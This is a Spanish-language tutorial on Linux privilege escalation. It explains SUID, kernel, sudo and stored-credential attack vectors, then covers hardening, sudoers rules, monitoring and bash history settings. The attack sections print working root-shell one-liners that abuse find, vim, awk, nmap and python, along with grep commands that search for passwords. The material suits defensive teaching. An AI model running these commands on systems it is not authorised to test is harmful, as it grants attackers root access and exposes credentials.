¿Qué es la Escalada de Privilegios?
La escalada de privilegios (Privilege Escalation) es un tipo de ataque informático en el que un usuario o proceso con bajos permisos de seguridad obtiene acceso a recursos o funciones que normalmente están restringidas a usuarios con mayores privilegios, como el usuario root — el administrador absoluto del sistema.
Visión general de los principales vectores y mecanismos de defensa cubiertos en esta guía:
Tipos de Escalada
Existen dos categorías principales de escalada de privilegios:
Un atacante accede a los recursos o cuenta de otro usuario regular (el usuario A obtiene acceso al usuario B). Los privilegios no aumentan en nivel, sino en alcance.
Un usuario o proceso con pocos privilegios eleva su estatus al nivel de root. Es el foco de la mayoría de los ataques y el tipo más crítico.
Vector A — SUID / SGID Mal Configurado
El vector de escalada más clásico. Cuando el bit SUID está activado en un binario, este se ejecuta con los permisos del dueño del archivo, no con los del usuario que lo lanza.
¿Cómo funciona?
- SUID (Set User ID): Si el archivo pertenece a root y tiene el bit SUID, cualquier usuario que lo ejecute lo hace con permisos de root.
- SGID (Set Group ID): Similar al SUID pero aplicado al grupo propietario del archivo.
- Problema: Si un comando peligroso (
find,vim,less,nmap) tiene el bit SUID y pertenece a root, un usuario regular puede abusar de él para abrir una shell de root.
Detección
find / -type f -perm /4000 2>/dev/null
/usr/bin/passwd /usr/bin/sudo /usr/bin/find ← ¡Peligroso! /usr/bin/pkexec /usr/lib/openssh/ssh-keysign
Explotación con find (si tiene SUID)
# Abrir una shell de root aprovechando find con SUID
find / -maxdepth 1 -exec /bin/sh \; -quit
# whoami root ← ¡Escalada exitosa!
Vector B — Fallas en el Kernel y Controladores
Las vulnerabilidades más críticas y a menudo las más difíciles de mitigar. Un atacante explota un bug en el código fuente del Núcleo de Linux o en sus módulos/controladores, logrando ejecutar código con privilegios de kernel equivalentes a root.
Ejemplos históricos destacados
| CVE | Nombre | Descripción |
|---|---|---|
| CVE-2016-5195 | Dirty COW | Race condition en copy-on-write. Permitía escritura en archivos de solo lectura. |
| CVE-2022-0847 | Dirty Pipe | Sobrescritura de datos en caché de página. Afectó kernel 5.8+. |
| CVE-2021-4034 | PwnKit | Falla en pkexec (Polkit). Presente en la mayoría de distros durante años. |
Identificar la versión del kernel
uname -r # Versión corta uname -a # Información completa del sistema
Linux hostname 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 GNU/Linux
Vector C — Mala Configuración de sudo
El archivo /etc/sudoers define qué usuarios pueden ejecutar comandos como root. Una configuración incorrecta permite escalar privilegios fácilmente desde cualquier comando que pueda invocar una shell.
Ver permisos sudo del usuario actual
sudo -l
User jose may run the following commands on host:
(ALL) NOPASSWD: /usr/bin/find ← ¡Riesgo de escalada!
Explotación — find como sudo
sudo find / -exec /bin/sh \;
# whoami root
Comandos peligrosos como sudo
| Comando permitido | Método de explotación |
|---|---|
| vim / vi | Desde el editor: :!/bin/sh → shell de root |
| less / more | Desde el visor escribir: !/bin/sh |
| awk | sudo awk 'BEGIN {system("/bin/sh")}' |
| nmap | sudo nmap --interactive → !sh |
| python / perl | sudo python3 -c 'import pty; pty.spawn("/bin/sh")' |
ALL a un usuario no administrador, y nunca otorgues sudo a comandos que puedan abrir una shell interactiva.Vector D — Credenciales Almacenadas en Archivos
Un atacante con acceso de bajo privilegio busca contraseñas o claves de API hardcoded en el sistema de archivos. Ocurre frecuentemente en entornos de desarrollo o scripts mal escritos.
Archivos típicos de búsqueda
| Archivo / Ruta | Qué puede contener |
|---|---|
| ~/.bash_history | Contraseñas pasadas como argumentos, tokens, IPs privadas |
| ~/.ssh/ | Claves privadas SSH sin passphrase |
| /var/www/ | Credenciales de bases de datos en archivos de configuración web |
| /etc/*.conf | Archivos de configuración de servicios con credenciales |
| scripts *.sh | Contraseñas codificadas directamente en scripts de automatización |
# Buscar la palabra "password" en archivos de configuración grep -ri "password" /etc/ 2>/dev/null grep -ri "passwd" /var/www/ 2>/dev/null # Revisar el historial de comandos cat ~/.bash_history
600.Prevención A — Parcheo y Actualizaciones
La defensa más crítica. Instalar siempre los parches de seguridad y mantener el kernel al día mitiga directamente las vulnerabilidades de tipo B.
Debian / Ubuntu
# Actualizar lista de paquetes y aplicar upgrades apt update && apt upgrade -y # Activar actualizaciones de seguridad automáticas apt install unattended-upgrades dpkg-reconfigure unattended-upgrades
RHEL / Fedora / CentOS
# Actualizar todos los paquetes dnf upgrade -y # Solo actualizaciones de seguridad dnf upgrade --security -y
Prevención B — Gestión Estricta de Permisos
Minimizar SUID / SGID
Inspecciona el sistema regularmente y elimina el bit SUID/SGID de cualquier binario que no lo requiera absolutamente.
find / -type f -perm /4000 2>/dev/null | sort
sudo chmod u-s /usr/bin/find
ls -la /usr/bin/find
-rwsr-xr-x 1 root root /usr/bin/find ← Con SUID (peligroso) -rwxr-xr-x 1 root root /usr/bin/find ← Sin SUID (correcto)
Principio del Mínimo Privilegio (PoLP)
- Los usuarios y aplicaciones deben tener solo los permisos estrictamente necesarios para su trabajo.
- Ejemplo: Un servidor web nunca debería ejecutarse como root. Usar usuarios dedicados como
www-dataonginx. - Revisar permisos de archivos críticos regularmente.
Prevención C — Configuración Segura de sudo
En /etc/sudoers, configura el acceso de sudo para que sea lo más específico posible. Edita siempre con visudo, que valida la sintaxis antes de guardar.
| Regla | Inseguro | Seguro |
|---|---|---|
| Especificidad | jose ALL=(ALL) ALL | jose ALL=(ALL) /usr/bin/systemctl restart nginx |
| Sin contraseña | jose ALL=(ALL) NOPASSWD: ALL | jose ALL=(ALL) NOPASSWD: /usr/bin/apt update |
| Evitar shells | jose ALL=(ALL) /usr/bin/vim | No otorgar sudo a vim, less, find, awk… |
# SIEMPRE editar sudoers con visudo (valida la sintaxis)
sudo visudo
visudo valida antes de guardar.Prevención D — Hardening del Sistema
SELinux / AppArmor
Aplican control de acceso obligatorio (MAC) y restringen lo que incluso un proceso de root puede hacer, limitando el daño si se produce una escalada.
# Estado de SELinux (RHEL/Fedora) sestatus getenforce # Enforcing | Permissive | Disabled # Estado de AppArmor (Ubuntu/Debian) sudo aa-status
Permisos de archivos críticos
# Verificar permisos ls -la /etc/passwd # Debe ser 644 ls -la /etc/shadow # Debe ser 640 o 000 ls -la /etc/sudoers # Debe ser 440 # Corregir si es necesario sudo chmod 640 /etc/shadow sudo chmod 440 /etc/sudoers
- Contraseñas fuertes: Aplica políticas complejas y nunca almacenes credenciales en texto plano.
- Deshabilitar servicios innecesarios: Menos servicios activos = menor superficie de ataque.
- SSH seguro: Deshabilitar login de root por SSH (
PermitRootLogin noen/etc/ssh/sshd_config).
Prevención E — Monitorización y Detección
Auditoría de logs
# Intentos fallidos de autenticación (Debian/Ubuntu) grep "FAILED" /var/log/auth.log | tail -20 # Con journalctl journalctl -u sudo --since "1 hour ago" # Últimos accesos al sistema last -a | head -20
Herramientas de integridad de archivos
| Herramienta | Función | Instalación |
|---|---|---|
| Tripwire | Monitoriza cambios en archivos críticos del sistema. Alerta si binarios SUID son modificados. | apt install tripwire |
| AIDE | Advanced Intrusion Detection. Crea una base de datos de hashes y detecta modificaciones. | apt install aide |
| auditd | Framework de auditoría del kernel de Linux. Registra llamadas al sistema en detalle. | apt install auditd |
bash_history — Importancia de la Restricción
El archivo ~/.bash_history (o ~/.zsh_history) almacena cronológicamente todos los comandos ejecutados por el usuario. Su restricción es crucial para la seguridad y la prevención de escalada de privilegios.
¿Por qué es un vector de riesgo?
- Exposición de credenciales: Un atacante con acceso de bajo privilegio puede revisar el historial y encontrar contraseñas pasadas como argumentos, claves de API, tokens, o URLs con credenciales incrustadas.
- Mapeo del sistema: El historial revela comandos de diagnóstico ejecutados por el usuario (
ip a,route,ls -la /etc/), facilitando el mapeo de la red y la búsqueda de puntos débiles. - Facilita pasos posteriores: Si un atacante ve cómo se realizaron tareas administrativas, puede replicarlas o revertir medidas de seguridad.
# Ver el historial completo del usuario actual cat ~/.bash_history # Ver las últimas 30 entradas history 30
bash_history — HISTSIZE y HISTFILESIZE
Para reducir la cantidad de comandos almacenados (el valor por defecto suele ser 1000):
| Variable | Valor sugerido | Propósito |
|---|---|---|
| HISTSIZE | 2000 | Número máximo de comandos en memoria durante la sesión actual. |
| HISTFILESIZE | 4000 | Número máximo de líneas en el archivo ~/.bash_history en disco. |
Añadir en ~/.bashrc
# Limita la memoria del historial de la sesión a 2000 comandos export HISTSIZE=2000 # Limita el archivo en disco a 4000 líneas export HISTFILESIZE=4000
Aplicar los cambios sin cerrar sesión
source ~/.bashrc
bash_history — HISTCONTROL
Permite configurar qué tipos de comandos no se guardan en el historial según su formato.
| Variable | Valor | Propósito |
|---|---|---|
| HISTCONTROL | ignorespace | Evita guardar comandos que comienzan con un espacio. |
| HISTCONTROL | ignoredups | Evita guardar un comando si es idéntico al anterior en el historial. |
| HISTCONTROL | ignoreboth | Combina ignorespace e ignoredups. |
Añadir en ~/.bashrc
# Comandos precedidos de un espacio no se registran en el historial
export HISTCONTROL=ignorespace
Uso práctico de ignorespace
ssh user@192.168.1.1
ssh user@192.168.1.1
ignorespace protege al usuario legítimo, pero también puede ser usado por un atacante para ejecutar comandos sin dejar rastro en los logs locales.~/.bashrc, ejecuta source ~/.bashrc o abre una nueva sesión para que los cambios surtan efecto.Ejercicio Práctico Final
Flujo completo que cubre detección de vectores, configuración del historial y verificación de permisos.
find / -type f -perm /4000 2>/dev/null | sort
sudo -l
cat ~/.bash_history | wc -l # Número de entradas history 20 # Últimas 20 entradas
echo 'export HISTSIZE=2000' >> ~/.bashrc echo 'export HISTFILESIZE=4000' >> ~/.bashrc echo 'export HISTCONTROL=ignoreboth' >> ~/.bashrc source ~/.bashrc
ls -la /etc/passwd /etc/shadow /etc/sudoers
-rw-r--r-- 1 root root /etc/passwd ← 644 -rw-r----- 1 root shadow /etc/shadow ← 640 -r--r----- 1 root root /etc/sudoers ← 440
grep "FAILED\|sudo" /var/log/auth.log 2>/dev/null | tail -15
# En sistemas con journald:
journalctl -u ssh --since "today" | tail -15